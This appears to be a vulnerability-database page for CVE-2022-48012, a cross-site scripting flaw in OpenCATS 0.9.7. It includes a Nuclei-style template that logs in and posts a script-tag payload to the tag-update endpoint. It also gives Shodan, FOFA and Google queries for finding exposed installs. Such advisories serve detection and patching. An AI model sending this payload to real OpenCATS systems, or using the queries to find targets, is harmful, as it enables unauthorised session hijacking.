CVE-2022-48012: OpenCATS 0.9.7 - Cross-Site Scripting

2025-08-01 OpenCATS 0.9.7 PoC Public

Description

OpenCATS 0.9.7 contains a cross-site scripting vulnerability via the component /opencats/index.php?m=settings&a=ajax_tags_upd. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2022-48012

info:
  name: OpenCATS 0.9.7 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    OpenCATS 0.9.7 contains a cross-site scripting vulnerability via the component /opencats/index.php?m=settings&a=ajax_tags_upd. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or upgrade to a newer version of OpenCATS that addresses the XSS vulnerability.
  reference:
    - https://github.com/Sakura-501/Opencats-0.9.7-Vulnerabilities
    - https://github.com/Sakura-501/Opencats-0.9.7-Vulnerabilities/blob/main/Opencats-0.9.7-Reflected%20XSS%20in%20onChangeTag.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-48012
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-48012
    cwe-id: CWE-79
    epss-score: 0.0137
    epss-percentile: 0.70507
    cpe: cpe:2.3:a:opencats:opencats:0.9.7:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: opencats
    product: opencats
    shodan-query:
      - title:"opencats"
      - http.title:"opencats"
    fofa-query: title="opencats"
    google-query: intitle:"opencats"
  tags: cve,cve2022,xss,opencats,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?m=login&a=attemptLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        POST /index.php?m=settings&a=ajax_tags_upd HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        tag_title=<script>alert(document.domain);</script>

    matchers:
      - type: dsl
        dsl:
          - contains(body_1, "opencats - Login")
          - contains(body_3, "<script>alert(document.domain);</script>")
        condition: and
# digest: 4b0a0048304602210097aa9aaf9131333db6cfd50805d8701b74b501ce03879a3723ce4375b67b11170221009ca5a61a42316b90ed57fc29a2c1206b849e8606b685d03001088827a35b1a46:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities